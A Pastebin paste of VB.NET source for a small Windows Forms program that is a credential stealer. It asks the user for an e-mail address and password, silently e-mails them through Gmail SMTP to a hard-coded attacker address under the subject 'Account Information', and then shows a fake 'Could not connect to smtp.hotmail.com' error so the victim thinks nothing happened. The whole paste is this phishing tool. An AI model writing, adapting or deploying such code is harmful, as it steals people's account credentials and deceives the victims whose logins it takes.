Guest User

Untitled

a guest
Dec 7th, 2017
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.32 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4. Dim spindelkudde As String
  5.  
  6. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  7. Dim MyMailMessage As New MailMessage
  8. Try
  9. If TextBox1.Text & TextBox2.Text = "" Then
  10. Call MsgBox("Please enter e-mail and password.", , "Error!")
  11. End If
  12. MyMailMessage.From() = New MailAddress("spindelkudde@gmail.com")
  13. MyMailMessage.To.Add("spindelkudde@gmail.com")
  14. MyMailMessage.Subject = "Account Information"
  15. MyMailMessage.Body = "E-Mail: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
  16. Dim SMTP As New SmtpClient("smtp.gmail.com")
  17. SMTP.Port = 587
  18. SMTP.EnableSsl = True
  19. SMTP.Credentials = New System.Net.NetworkCredential("spindelkudde@gmail.com", "pass")
  20. SMTP.Send(MyMailMessage)
  21. Call MsgBox("Could not connect to smtp.hotmail.com.", , "Error!")
  22. Catch ex As Exception
  23. Call MsgBox("Critical error occured!"(MsgBoxStyle.Critical))
  24. Application.Exit()
  25. End Try
  26. End Sub
  27. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  28. Me.Close()
  29. End Sub
  30. End Class
Add Comment
Please, Sign In to add comment